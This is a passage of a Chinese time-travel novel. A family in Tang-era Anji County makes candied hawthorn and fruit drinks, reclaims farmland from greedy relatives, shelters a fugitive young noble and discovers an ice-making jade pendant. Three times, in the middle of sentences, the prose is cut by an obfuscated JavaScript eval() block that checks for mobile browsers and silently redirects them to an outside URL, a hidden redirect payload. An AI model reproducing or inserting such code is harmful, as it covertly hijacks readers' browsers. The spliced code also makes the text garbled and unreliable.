“闭嘴养你的伤。”崔棠甩去额角汗珠,粗麻襦裙溅满黏腻的水渍。 穆云突然夺过陶罐:“要这般晃。”他手腕急转,液体在瓮中旋出漩涡,草木灰裹着杂质沉到底部。 “你怎会……”崔棠话音噎在喉头,灶火将她耳尖烧得通红。 少年舀起勺清亮浆汁,得意之色日头还晃眼:“这陶瓮蓄热不均,你该用铁镬——” 院门忽被撞响,两人同时扑向窗缝。 三个货郎打扮的汉子正在篱外张望,领头人虎口青蝎刺青在日光下泛冷,赫然是昨夜的蒙面人。 “兄长!”崔棠突然扬声,抓把草木灰抹在他颈侧,“还不帮我把石臼洗了!” 屋外的人透过漏窗只见个灰头土脸的少年蹲着刷石臼,粗麻衣领下隐约透出溃烂红疹,嫌恶地啐了口转身离开。 崔棠被吓得心怦怦直跳,却看穆云倚在柴堆上剥蔗皮。少年指尖翻飞如燕,倒衬得自己方才的窘态像个稚童。 蔗汁在瓦罐里腾起琥珀色浪花,撇去浮沫后崔棠扯了木材,用炭火蒸发水分,缓慢搅拌至汁液粘稠。 暮色爬上土墙时,糖膏在瓮中已泛出蜜色,再加入备好的糯米浆,崔棠终于制成一瓮糖膏。 穆云倚着柴垛笑:“小娘子若在西市支摊,记得挂个‘初学’幡子。” 崔棠甩去额前碎发道:“比不得郎君装咳的本事,晌午那疹子画得挺像。” 贺清蕙携着夏日余温的山风撞进门来,绛红石榴裙摆沾着苍耳:“快尝尝新摘的……呀!这糖膏是成了吗?” 她指尖沾了点糖浆往嘴里送:“甜着哩!就是粗了些。”比不得现代的糖细腻。 崔棠比划着扯过崔弘修窗棂的边角料道:“用木模塑成骰子块如何?这般既好取用,也好贩卖。” 贺梅娘想起现代的方糖,也觉得这样甚好。 穆云吃着山楂,果核“噗噗”吐进灶台。 “穆小郎君好牙口。”崔棠阴阳怪气地道:“病秧子偷吃酸果,也不怕倒牙。” 少年两指夹着山楂在她眼前晃,缩手躲过她抢夺:“小娘子若馋了,求我就给你……” 铜勺当啷敲在釜沿,崔棠抄起竹筛作势要打,谁能料到自己现在要跟古代小鬼斗气。 落日余晖恰掠过穆云眉骨,映得他睫毛镀了层金边。他挽起的袖口,露出小臂内侧未擦净的雪白肌肤。 崔棠抄起药杵往他臂上抹灰:“灰掉了!想让追兵逮去当雪貂卖?” 穆云闪身避开,后腰撞翻滤布架:“凶婆娘将来……”话音未落被贺梅娘塞了满嘴山楂,酸得皱起鼻梁。 贺梅娘忍笑:“二郎来搭把手,取些青团,就在……”她指尖尚未点向房梁,穆云已踩着柴垛摘下左数第二个竹篮。 崔棠手中竹筛“啪”地扣在案上:“道这些日子总是少了吃食,原来你就是那只偷食猫!” “某不过取些边角料!”穆云耳尖泛起薄红,梗着脖子将青团拍在竹匾。 “再说我也不是白拿的,待我摆脱那些个讨厌的尾巴,定会报答的……”他声音越说越小。 话音未落,腰间忽洇开血痕,原是踮脚扯动了伤口。 崔棠翻着白眼一只脚踩上木凳:“瘸腿孔雀逞什么能。” 木凳忽地一晃,少年滚烫掌心已贴住她腰侧,另一手将竹筛挂上房梁:“扶稳,摔了可别赖我。” 贺梅娘捻着野山楂轻笑,“这糖和山楂煮烂,可做消食饮,还得配上陈皮……” “还能做糖——”崔棠猛地咬舌,把“葫芦”二字嚼碎了混 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117770|164202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着唾沫咽下,“糖霜山楂球!用竹签串了,定比胡商卖的毕罗招孩子喜欢!” 穆云拈起颗山楂在指尖转:“小娘子若求我,倒能教你个秘法。” 他停顿半晌,见崔棠不搭理,又把果核“咻”地射入墙缝道:“用蜂蜡封口,装进竹筒悬于井内,少说能存一月。” 崔弘扛着柴从屋外路过嘀咕道:“净瞎折腾。” 更漏滴到子时,崔棠起夜见灶房亮着光。 崔弘正就着月光劈竹筒,篾刀在节骨处轻旋,竟削出螺旋纹的密封口,地上散着七八个成品。 “阿耶?”她轻唤。 崔弘慌忙用麻布盖住竹筒:“这就睡。” 崔棠抿嘴偷笑,也不打算戳穿他这嘴硬心软的毛病。 翌日蝉鸣撞碎暑气时,安吉县城的青石板已蒸起白烟。 穆云压着斗笠跟推着车,粗布衣领高高竖起:“小娘子这美黑膏,熏得人头疼。” “总比丢了命强!” 崔棠甩过浸药帕子道:“自己擦耳后。” “小娘子又来支摊啦?”卖绢花的妇人摇着团扇挤来,髻边石榴花被晒得发蔫,“上回那个薄荷饮……” “阿耶阿娘在新修的官道那头卖饮子呢!两位姐姐尝尝新制的山楂糖丸?”崔棠掀开陶罐,霜糖在日头下亮晶晶的,“消暑开胃,最配绿豆冰碗。” 她说话间踹了脚穆云小腿,少年忙递上试吃的竹签,眉眼掩在斗笠阴影下。 俩妇人被这声“姐姐”喊得眉开眼笑,染着凤仙花的指尖刚要触到糖丸,西头突然传来铁器相击声。 三个玄衣人举着画像挨个盘问,画中少年眉眼如刀,耳垂竟与穆云一样缀着粒朱砂痣。 崔棠忙闪身挡在穆云身前,低声对他道:“你先找地方躲躲,半个时辰后染坊汇合。” 穆云拉高衣领遮住半张脸,抱起一罐山楂丸留下一句“借我一用”就转身离去。 待玄衣人逼近,西市突然炸开孩童欢呼。有乞儿将整罐糖丸泼向石阶,圆滚滚的红果混着碎冰碴跳进阴沟。玄衣人听到动静,迅速回身往西边跑去。 日头偏西时,独轮车吱呀轧过山道。穆云不知从哪摸出把松子,边嗑边将果壳弹向崔棠发髻。 崔棠反手将黏在裙摆的糖丝甩向他面门:“白搭一罐糖丸子!“ 穆云却盯着远处,三个玄衣人策马奔向西山小道。 “你用了什么法子让他们往西山去的?”崔棠不由好奇。 少年扯了根狗尾草叼在嘴角:“不过就是声东击西,调虎离山。让货郎‘不慎’说漏嘴,道是瞧见人往西山去了。” 他话一顿:“几日前我在那崖上挂了块带血的衣料。” 崔棠突然拽住他衣袖:“看你之前那打扮也是大户人家的郎君,怎的连个随从护卫都没?” 穆云脊背微僵:“为了引开追兵都四散了,”他望着西山晚霞,“自小伴我长大的兄弟,半月前为了护我坠了崖……” “接着!” 崔棠突然抛来个糖丸道:“你兄弟若在,定不乐意看你垮着脸当苦瓜。” 穆云咬破糖壳,酸涩漫过喉头。他忽然记起那夜坠崖前,那人将匕首塞进他手里——那是他们儿时自己锻的,刃上还刻着歪歪扭扭的“青”字。 崔棠踮脚折了支野山姜花插在车头:“上月里王猎户跌下鹰嘴岩,还是靠老藤捡回条命。” “这会子漫山葛藤正肥,指不定缠住什么活物呢。” 或许没有消息便是最好的消息,穆云想。 8. 智取田契 晨光漫过官道茶摊,竹帘还滴着露水。 崔家茶摊已挂满各色饮牌:消暑的酸梅饮、金银花配野菊的双花饮、薄荷调的三清饮、陈皮山楂熬的消食饮,佐以糖衣山楂球、缠丝糖块,每日可进账约莫七八十文铜钱。 每隔五日崔棠推着独轮车进城贩售糖衣山楂球,兼着给保和堂供应的山茱萸,若再持续半月应能攒下两贯钱。但若官道竣工后,往来多是过客,加之山茱萸采摘期一过,这收入变无法维持了。 竹匣里那预留给长房的赎田钱,还得吞掉泰半积蓄。这日子瞧着红火,实则刨去本钱人工,崔棠连添置新襦裙的余钱都挤不出来。一家子还得继续想法子挣钱。 此时贺梅娘正将新制的吃食码进竹屉。这用山楂泥混着粟米蒸制的薄饼,被她用木模压出祥云纹,烘得焦脆的边沿泛着蜜色。 崔棠拎着竹匾转进茶棚:“阿娘,就叫它丹饼吧!”这种适合役夫随身携带的干粮,简单明了的名字更适合。 官道尽头传来车马声。 穆云立时压低斗笠,将新染黄的脖颈往粗布衣领里缩。 崔棠顺势往他怀里塞了摞竹筒:“你去给脚夫们送饮子,就说买三筒酸梅汤赠一个丹饼。” 她又掏出竹匾,上头铺了切成小块的丹饼:“这是试吃装,来买饮子的都让他们尝尝。” 贺梅娘正在跟周娘子闲聊:“那是妾身外甥云哥儿,来搭把手的。” “小郎君生得白净。“周娘子递来甜瓜,”倒像庙里玉雕的童子。” 崔棠抱着糖罐从后面探出头,双丫髻上缠着茜色发带:“阿婶你别逗他,我表兄畏生呢!” 她指尖捏着糖丝,轻巧绕成蝴蝶递给囡囡,“拿去玩吧!” 囡囡欢呼着拿过糖丝就茶摊后头跑去,不想却撞到了一个鬼鬼祟祟往外跑的身影,啪的一下摔在地上哇哇大哭起来。 崔棠扶起孩子时,余光瞥见那人背影跟崔林如出一辙。 “可是熟人?”穆云指节叩着青竹筒,余光追着那道灰影。 崔棠点头道:“是我那好堂兄,半夜上我家偷鸡摸狗那个。” 她将糖块摆成田垄模样:“二十亩永业田,‘代管’了二十年,我都没问他们家要钱,倒说要给一贯钱才还我们地契。” “笑话!”穆云听罢眉头微蹙,“你家这田怕是不好拿回来——” “不知表兄有何高招?”崔棠虚心求教。 “小娘子莫急。”少年吹落竹屑:“待我教会你织网,自然有人会引着雀儿撞进来。” 五日后晨露未晞,崔棠抱着糖罐挨家叩门:“婶子尝尝新熬的柘糖!” “我家那二十亩田要拿回来了,阿耶说要给乡邻都沾沾喜气!” “你想知道是何缘故?那一定是我家大堂伯心地善良呀,无偿帮我们耕作了二十年呢!” 村口古槐下,穆云正教孩童唱新童谣:“崔家大房心地好,帮忙耕种二十载,春种秋收济贫来……” 没几日功夫,全村都知道崔家长房要归还田契一事了。 这日清早,长房院内挤满了看热闹的村民。 崔林攥着田契指尖发白,崔棠捧着一贯钱钱脆生生道:“这些年多亏堂伯和堂兄辛劳,这是爹爹攒的辛苦钱。” 铜钱串特意用红绳系着,喜气洋洋堆在描金案上。 崔强捧着茶盏的手抖出涟漪:“这些年光景艰难......” “放你娘的驴屁!” 话音未落,王屠户破锣嗓子喊得震天响:“去年秋收老子亲眼见着,去年秋收见长房运粮车足足十八辆!” 周娘子捻着崔棠送的糖玫瑰帮腔:“弘郎君仁义,年节才得三斗糙米。” 贺梅娘适时抹泪,粗麻袖口露出磨破的里衬:“能赎回祖田已是万幸……”她褪色的石榴裙与满屋锦缎形成刺目对比。 穆云倚着门框拨弄算筹,竹片“啪啪”落在青砖:“按《田令》,职田年租二百文,二十年可要四贯钱呢!不知长房有无交租啊?” 围观人群哄笑如浪,崔林手中田契已攥成咸菜,崔强额角青筋随着算筹落地声直跳。 崔棠蹦跳着从粗布包里掏出一个木盒,掀开盖子露出琥珀色糖块,她甜笑道:“大堂伯心地真好!这是棠儿特意孝敬您的解暑薄荷糖,夏日里吃爽口得紧哩!” “您不吃,定是棠儿手艺粗陋,大堂兄尝尝……”转身将盒子往崔林跟前凑。 穆云适时掀开竹篮,薄荷糖如碧玉棋子铺满荷叶:“诸位叔伯也尝尝。” 围观村民吃糖嚼得嘎嘣响,孩童们欢呼雀跃。 周娘子直夸好:“这糖清凉爽口,吃起来好似入了秋!” 崔林糖块刚入嘴,清凉辛辣直冲脑门,他喉头滚动咽下糖块便觉腹中雷鸣,噗地将糖渣喷在崔强新裁的锦袍衣摆上。 崔棠心里窃喜:吃了崔氏秘制加料版薄荷糖,保准你凉到上茅房。 崔强一把夺过田契拍在案上:“小孩子家家净胡闹!” 他腮帮子鼓得像吞了河豚:“快把地契拿走,省得污了我家地砖!” 崔弘临出院门还回头憨笑:“赶明插秧,定来请大侄子指点!” 崔棠攥着田契蹦跳在田埂上,茜色发带晃晃悠悠。 “阿耶快看!”她指着连绵的稻茬跺脚,“这穗收得比狗舔的还干净!” 崔弘憨笑着用草绳比划:“来年在这垄沟间种些赤豆给你阿娘做吃食......” 穆云眼神扫过干裂的田垄道:“还种豆子?某瞧着这土里怕是连蚯蚓都饿瘦了。” “得灌水沤田!” 徐伯隔着几丈地冲他们喊:“再不插秧,秋日只能收稗草!” 他孙女阿萝正麻利地抛秧,青苗在空中划出弧线,稳稳扎进泥里。 转过山坡是四亩桑麻地。 贺梅娘指尖抚过光秃的桑枝:“倒是会算计,桑叶采得丁点不剩。” 崔棠用树枝拨开乱麻:“麻皮割得跟狗啃似的,倒是给咱们留了些麻杆。” 她突然狡黠一笑:“正好让穆云扎个驱邪稻草人。” 旁边一亩蔗林倒是疯长得嚣张,青皮蔗杆在烈日下泛着油光。 贺梅娘笑道:“这倒是便宜我们制糖了!” 后头两日崔弘和穆云踩着龙骨水车,硬是把十五亩地灌完了水。官道的崔氏饮子摊便摆出“歇业两日”的竹牌,一家人抢着日子插秧。 三伏天的日头毒得很,崔棠提着襦裙往腰间一扎,深一脚浅一脚踩进水田,泥浆“咕嘟”冒泡淹过脚踝。她举着秧苗不知所措的模样,活像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117771|164202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 误入沼泽的丹顶鹤。 穆云蹲在田埂上嚼着一根狗尾巴草,心道这小娘子怎的如此豪迈。 他不由笑出声:“你这不像插秧倒像在插花——”脚下却一不留神打滑摔进水田,惊得蛙群四散奔逃。 “遭报应了吧!” 崔棠笑得直不起腰,雪白小腿被蚂蟥叮住。 “啊!”她尖叫着甩腿,秧苗天女散花般砸中穆云后脑勺。 崔弘提着木耙匆匆赶来救场,耙头勾住穆云腰带,将人从泥里拔萝卜似的拽出。 贺梅娘挎着竹篮飘然而至,她掀开陶罐舀起黑绿稠浆道:“柘渣混着鸡粪,徐伯说这是上等肥——” “呕!”穆云熏得连退三步。 徐伯踏进田垄见着崔家歪斜的秧苗,噗嗤笑出声:“小娘子这田垄挖的,倒像黄鼠狼打的洞!” 待到月上柳梢头,四人已在瓜架下瘫成泥人。 崔棠甩着酸臭汗味的发髻恨声道,“本姑娘宁可熬十锅糖浆,也不伺候这些祖宗!” “秋收后雇人种稻得了,横竖徐伯说这秧插得比醉汉走路还歪。”贺梅娘揉着晒脱皮的胳膊道。 崔弘拍板:“咱家竹蔗长势旺,不如专心制糖贩饮子。” 穆云从衣领甩出只挣扎的蟋蟀:“甚好,某这身手还是砍柴更趁手。” 他倚着门框削竹签,匕首在月下划出银练,青竹“噼啪”裂成细篾,惊得草叶间萤火明灭。 扫落的三片青叶,正巧拼成个歪嘴笑脸,映在崔棠气鼓鼓的侧脸上,自己都不知道嘴角已微微弯起。 匕首“当啷”入鞘,穆云看着自己沾满竹屑糖渍的双手,突然有种久违的心安。明明每晚柴草堆硌得他肩背生疼,却莫名觉得比家中高床软枕睡得踏实。 子夜鹧鸪啼破寂静,三长一短,接着是竹叶特有的沙沙声。 穆云猛然睁眼,柴扉缝隙漏进的月光里,一个青影正掠过晾糖霜的竹匾。 他赤足点地,素白中衣掠过窗棂时,惊醒了蜷在糖罐上的野猫。 “死田鼠……”隔壁竹榻嘎吱作响,崔棠梦呓着翻身,震得陶罐里糖块叮咚相撞。 竹林深处,来人单膝跪地:“按少主吩咐,已将追兵引往崖底。” 夜风掀起少年散落的额发,露出眉间久违的煞气:“苍术,可有寻到......” 属下已带人寻找多日,未见首领。” 青竹叶擦过他骤然泛红的眼尾:“继续找。” “主公传来鹰讯,问是否......” “再等等。”穆云截断话头,忽然捻起片竹叶。 远处传来糖罐翻倒的脆响,苍术顺着少主目光望去,似乎有茜色发带在月下一闪而过。 他压低嗓音:“那崔家小娘子......” 穆云眼底寒芒乍现:“做好分内事。” 竹影婆娑间,崔棠躲在墙根处进退两难。 她本是循着动静来逮“田鼠”,此刻却后悔多事:不会被杀人灭口吧! 苍术身影如鬼魅般消散,穆云却突然朝她藏身处掷来竹筒。 崔棠慌忙后撤,筒中滚出的竟是裹着糖霜的山楂糖丸。 …… “小娘子夜游的毛病,”少年嗓音裹着夜露传来,“当心撞见山鬼。” 9. 无人问津 次日天刚蒙蒙亮,崔棠揉着泛青的眼眶推开房门。晨光里穆云正在打拳,拳风扫落槐叶上的晨露,鼻尖细汗在熹微晨光里泛着晶亮。 “你昨夜......”崔棠试探着问道。 “都说了你梦游,还抱着糖罐说梦话。”少年神色如常。 停顿了片刻,晨风掀起他濡湿的额发,他又说道:“你放心,无论发生什么都与你们无关。” 崔棠捏着衣角松了口气。她忽然觉得多一事不如少一事——在这人命如草的世道,能守住自家糖罐已是万幸。 山道传来驴车吱呀声,崔棠又想起自己的买驴大计。这些日子忙着田里的活儿都没去城里卖糖,也忘了这事儿。 上回听徐伯说上等健骡五贯钱,连老驴也要三贯,现在这点家底还真是买不起。 崔棠用树枝在地上画圈:“若是买驴车,一次至少可以装下百余罐饮子和糖丸。” 她抬头问穆云:“你看上去武功了得,能不能用轻功帮我运货?” 穆云拿起斧子反手砍断断她手中树枝:“某这身法值月俸十贯,小娘子怕是雇不起。”说罢转身上山里砍柴去了。 崔棠看他此刻没个正形的样子,与月下那个煞气凛然的剪影判若两人。她捻起块柘糖含在口中,甜味里混着说不清道不明的疑虑。 她摇晃着脑袋,试图把多余的念头甩掉,自嘲的笑笑:自己都管不好还管别人,还是想想如何努力挣钱要紧。 此时天色渐亮,崔弘捻起一撮粗茶末,沸水冲入粗陶碗时,茶汤打着旋儿腾起青烟。 崔棠盯着那茶汤,忽然想念起现代的奶茶来,据说这唐代贵族也喝奶茶,不知今后是否有机会将饮子卖进府城里去。 “棠棠快看!” 贺梅娘提着湿漉漉的麻绳从井口探身:“上回湃的桑葚和树莓都还新鲜着呢!”竹篮提出水面时,紫黑浆果裹着晶莹水珠,颗颗饱满。近来官道生意趋于平稳,她想着能不能做些新的吃食。 崔棠看到桑葚眼前一亮:“阿娘,不如我们做些果茶?” 贺梅娘闻言笑了:“你倒跟我想到一块儿去了,我刚就想试试这桑葚呢!” 她把桑葚和树莓都放进石臼用石杵捣烂,量虽不多,却能爆出丰沛的绯红汁液,最后将冷却后滤过三道的粗茶汤徐徐注入。 “这不就是桑葚莓莓嘛!”崔棠舀起半勺啜饮,酸涩混着果香在舌尖炸开。 粗陶碗沿凝着紫红水珠,崔棠对着日光细看茶汤:“这茶末虽糙,倒衬得果香更甚。” “还有些酸涩,可以再加勺崖蜜!”贺梅娘眼角笑纹漾成涟漪,指尖沾着果渍往女儿鼻尖点。 崔弘闻言急切地跳起来:“后山有个笸箩大的蜂巢!”他抄起竹编斗笠往头上一扣:“我这就去给你们取来!” 他虽然没有妻女那么多奇思妙想,但行动力可是从不输人的。 山岚浸透晨雾,穆云斧柄轻叩老松,枝头露珠簌簌惊落。他反手削断枯枝,不一会就垒起了小山般的柴芯。 行至半山腰,山脚下崔家小院炊烟袅袅,似乎还能闻到糖香混着桑葚的酸甜。 穆云忽然忆起月前暴雨夜,他蜷在古树枝桠,看这一家三口躲进自己曾藏身的山洞。彼时他伤口渗着血,听着洞内传来压低的絮语: “明日先修灶台……” “屋顶茅草不结实,迟早换成瓦片……” “得给棠棠打个竹榻……” 明明淋得如落汤鸡,还无处栖身,却听不出半分绝望。少年攥着染血的袖角,看贺梅娘用火堆烘烤衣衫,暖光映得洞壁都温柔三分。 在他躲藏在山林的日子里,晨起总能瞧见贺梅娘在檐下煮饮子,晨光给她的身影罩上一层柔和的光晕。崔弘劈柴时总哼着奇怪的曲子,修起屋子来老练得堪比长安城里的大匠。 最奇是那圆脸小娘子,小小年纪却透着一股机灵劲,指挥家人重修屋舍的模样,倒似沙盘演兵的将军。 那日他实在饿极,趁夜摸进柴房。粗陶碗里温着的黍粥,竟被他尝出了一丝甜味。 忽的一声惨叫打破穆云的回忆。 他足尖轻点跃到高处,见崔弘那莽汉顶着斗笠正被蜂群追得抱头鼠窜,手里还抓着半截野蜂窝。 “崔叔闭气!”穆云脚踏树枝奔至近前,猛地扯下衣衫浸入溪水,旋身甩出时衣衫如网,兜头罩住狂奔的崔弘,野蜂撞上湿布纷纷坠地。 崔弘扒开衣袍露出肿成馒头的脸,眼睛却亮如星子:“二郎好身手!方才那招踏叶而行,可是传说中的轻功?”他心中狂喜,这不就是从前武侠片里才有的功夫! 穆云怔忡望着这个老实憨厚的中年汉子,山风卷来小院飘散的甜香,他突然觉得这风都比往日温暖几分。 待送崔弘归家,母女俩见状又好气又好笑。 贺梅娘捣烂石臼里的野菊花,糊在崔弘肿成寿桃的脸上,勒令其在家休息。 “快尝尝!”崔棠举着竹筒到穆云唇畔,还往里头添了勺野蜜:“新做的紫云饮!”依旧是她绞尽脑汁想的好名字。 “紫云饮?”少年听到“云”字耳尖忽地一红,喉结滚动着咽下紫红浆液:“尚、尚可......” 崔棠没注意他的异样,已旋风般收拾起陶罐:“今日定能卖空十罐!” 正午官道蝉鸣声里,崔棠蹲在茶棚阴影里数着空荡荡的钱罐。紫云饮在竹筒里泛着瑰色,却一上午都没开张。 试喝的役夫们啜了口就咧嘴:“酸唧唧的,哪有酸梅汁解乏!” 隔壁周娘子挽着竹篮凑近道:“我家囡囡倒是爱喝得紧。” “要我说,这饮子该送去县城茶楼。那城里娘子们就爱这些花哨物什,卖价能翻三倍!”她思索道。 周娘子搬了个墩子,一边飞针走线补着破洞的麻衣,一边闲话:“说起县城,近日倒有个新鲜事,那汤饼西施你们知道不?” “是不是年纪轻轻守寡那个秦娘子?我上回路过那铺子生意可好着呢!”崔棠挤过去。 周娘子点头,语气略带惋惜地道:“是她!只是那手绝活你是看不到了,她呀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117772|164202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——如今关了铺子去做县尊妾室去了。” 贺梅娘搅动酸梅汤的木勺顿了顿:“秦娘子怎的如此想不开?妾不过今日赏你匹绢,明儿就能发卖出府。” 她褪色的披帛拂过装糖霜的竹匣:“倒不如这锅灶,风吹雨打也搬不走。” 周娘子咬断线头道:“钱箔动人心呗!连那铺子都要卖了。” 崔棠耳朵一动,问道:“那卖出去了吗?” 周娘子摇头道:“没呢!那地段——转过弯就是县衙,要卖八十贯哩!” 崔棠咂舌:八十贯钱都购买骡子车队了!她在心里盘算了下余钱,暗暗可惜。 她将竹算筹拍在案上:“要我说立个女户开间食肆也无甚不好,何必依附于他人!” 穆云想起自己从西域远嫁长安的阿娘,“许是经商艰难,《唐六典》言士农工商……” “金丝雀离了金笼就饿死呢!胡商的一盏琥珀杯抵得县令半年俸。若我能把甜水铺开遍江南道——”崔棠眼底似有火光跳动。 她歪头冲周娘子眨眼:“定要让王叔供瓜果,阿婶管账目!” “好好好,棠娘发达了可莫忘我们!”周娘子掩唇直笑。 穆云摩挲着手中竹筒,绛紫色的糖水倒映出六岁那日的雕花窗棂——他捧着《论语》站在庭前,他那出生世家的继母染着蔻丹的指尖戳在他眉心:“商贾血脉终是下品,也配科考?” 盛夏蒸腾的水汽漫过少年微颤的睫羽,她看着崔棠畅想未来的模样倒比朱雀街上鲜衣怒马的纨绔更自在。忽觉若世人皆能如他们这般凭双手挣生计,哪还有门户贵贱之争? 暮色四合,路口的杂草被晒得发蔫,崔棠数着钱罐里可怜的六枚钱。一个坐马车的小娘子买走两盏,另一盏是过路的货郎买走的。余下的只能几人自己消化了。 那紫云饮一天下来已被闷成深褐色,早已不如晨起时的瑰丽色彩。 “这温热果茶,甜腻腻喝着倒像吞了团火。”贺梅娘抹着汗将最后半盏一口饮尽。 崔棠托腮道:“若是能用冰……” “小娘子说笑呢?”路过的脚夫灌着酸梅汤插话,“咱这地界一段冰至少得两贯钱,再说还需冰窖储冰。” 崔棠心知肚明,在这年头,冰块可是稀罕物。若是自个儿动手制冰,兴许能用上硝石。此刻她懊悔不已,早知如此,当初就该多学些理科知识,也不至于现在对硝石的采集一窍不通。 夜色如墨,崔棠左手捏着桑葚往嘴里送,右手则从陶罐中一枚枚地数着钱币。按这些日子攒下的钱,想要买下一间铺子,哪怕是偏僻地段,也还差得远呢。 那被她随手扔在钱罐里一段时日的槐花玉坠,忽然幽幽地泛起了微光。崔棠用沾满桑葚汁的手指挑起坠子,只见那玉坠的花瓣渐渐布满了血丝般的纹路。 “烫!”玉坠脱手掉入竹杯中,她慌忙捞出坠子,用衣袖擦干。心里琢磨着,明天一定要把这古怪玩意儿拿给阿娘瞧瞧。 当她沉沉睡去时,却浑然不知那竹杯中的汁液已悄然凝结成霜。 10. 租个铺子 翌日清早,崔棠扒着房门确认穆云背着柴刀走远了,攥着玉坠就往灶房跑。贺梅娘正挽着袖管淘洗桑葚,紫红浆果滚进陶瓮,溅起紫红色的汁水。 “阿娘快看!”崔棠把玉坠举到晨光里,“昨夜泡在桑葚汁里竟会变红发烫!” 贺梅娘就着围裙擦手接过,迎着光翻看:“没什么不一样啊!” “不应该啊……”话音未落,崔棠已抄起竹杯舀满桑葚汁,夺过玉坠“扑通”扔进去。 “别!“贺梅娘话音未落,玉坠在紫红汁液里泛起涟漪。 “阿娘你看,得放桑葚汁里!”她拎起坠子,两人仔细端详,血丝已顺着花瓣脉络攀爬,整块玉坠变得通红。 忽然贺梅娘道:“咦?这杯子——” 杯壁渐渐凝出白霜,她指尖刚触到杯沿就被冰得缩手,杯口已浮着薄冰碴。 “哎?”崔棠接过来细看,难道这坠子可以制冰?她又把坠子放入酸梅汤中,面上也立时浮出霜花来。 她举着冰杯转圈:“这卖冰饮子能赚翻......” 贺梅娘突然攥住她手腕:“嘘——这可不能声张,多少奇珍异宝惹来杀身祸。”作为穿越者的自觉,便是藏好身份。 崔棠讪笑着把玉坠塞进荷包:“晓得了晓得了,我收着不用便是。”她嬉笑着将玉坠塞进荷包。窗外老槐沙沙作响,她仿佛已听见铜钱落进钱匣的脆响。 辰时未过,崔棠和穆云已推着独轮车往县城赶。草绳捆扎的陶罐在车板上叮当乱响,揭开稻草时酸梅汤还冒着凉气——这是贺梅娘用井水湃了整宿的。 “若有个铺子,何须这般折腾。”崔棠扶住险些翻倒的陶罐,粗麻襦裙沾满晨露。 穆云单手稳住车辕,剑鞘挑开垂落的柳枝:“你是说那八十贯的铺子吗?能拿出这钱的人也不应住在城外吧!” 崔棠气结,不搭理他。她虽然现在穷得叮当响,可凭她千年后的眼光和知识,还能一直这样不成? 待到进城,两人路过秦家汤饼铺见那招租告示还贴在门上。油润的臊子香飘过街面,混着隔壁干果铺的炒瓜子香,勾得她肚子咕咕直叫。 “姑娘让让!”挑水工擦着她粗麻裙摆挤过巷道。崔棠顺势贴着墙根蹭到告示前,指尖抚过“八十贯”的墨字。 忽听见身后传来尖细的嗓音:“您瞧这地段,离县衙后门就隔条巷......” 原是有牙人领着几个客商来看铺子,她悄摸跟上看房队伍。 这铺子外头看着不怎么大,内里却别有洞天。前头穿绫罗的胖商人正捏着鼻尖挑刺:“灶屋梁柱都让油烟熏黑了......” “常年在用的灶才不会坏呢!”牙人踹了脚积灰的灶台,“秦娘子当年可是用这锅煮出安吉县第一碗鱼片汤饼!” 崔棠趁他们掰扯,溜进后院天井。三开间的正屋宽敞明亮,一应家具齐全。最妙是后墙根的空地,正够种些菜蔬药草。 “小娘子走错门了吧?”牙人摇着蒲扇堵在月亮门,“要买糖糕出门右拐。” 崔棠掂量着家中的余钱,不由开口问道:“若是租赁......” “租赁?”牙人嗤笑着用扇骨挑开她挑线的袖口,“这铺面日租金抵你半月嚼用,叫你家大人来谈……哎哟!” 话未说完,斜刺里一只手倏地扣住他手腕。穆云指尖在牙行契书上轻点,声线淬着冰:“牙行规矩,童叟无欺。上月你三贯钱赁给胡商的铺面,如今空着养耗子?” 独轮车吱呀轧过被晒软的青石板,崔棠忽见穆云耳后美黑膏裂开道玉色裂痕——定是方才与牙人周旋时沁了汗。 “多谢穆小郎君撑场子!”她伸手有心想帮他遮掩下破绽。 少年猛地偏头避开:“东面卖的是胡饼,西面是干果铺。”他扒拉着糖罐,“县衙几个当值的胥吏,申时三刻准来买毕罗当晡食。” 崔棠闻言:“你怎知......” “某方才去前头慈恩寺讨水喝,听知客僧说的。”穆云屈指弹落她发间树叶,“午时了,请你吃汤饼。” 想起方才苍术的密报,他叹口气:这丫头连算盘都打不利索,往后可怎么应付这些市井泼皮。 醉仙楼二层临窗位置,穆云指尖叩着檀木食单:“醋芹、箸头春、金齑玉脍......”崔棠在桌下猛踩他鞋面:“不是说你离家出走盘缠用尽了吗?点碗冷淘就行!” “咳……某是说……”穆云一顿,忘了这茬了:“冷淘配杏酪倒也爽口。”他耳后未抹匀的美黑膏裂开细纹,露出底下玉色肌肤。 崔棠咬着雕花银匙,盯着食单上的价目倒抽冷气:这地段铺租少说五贯钱,光那碟未点的金齑玉鲙就值半贯钱...... 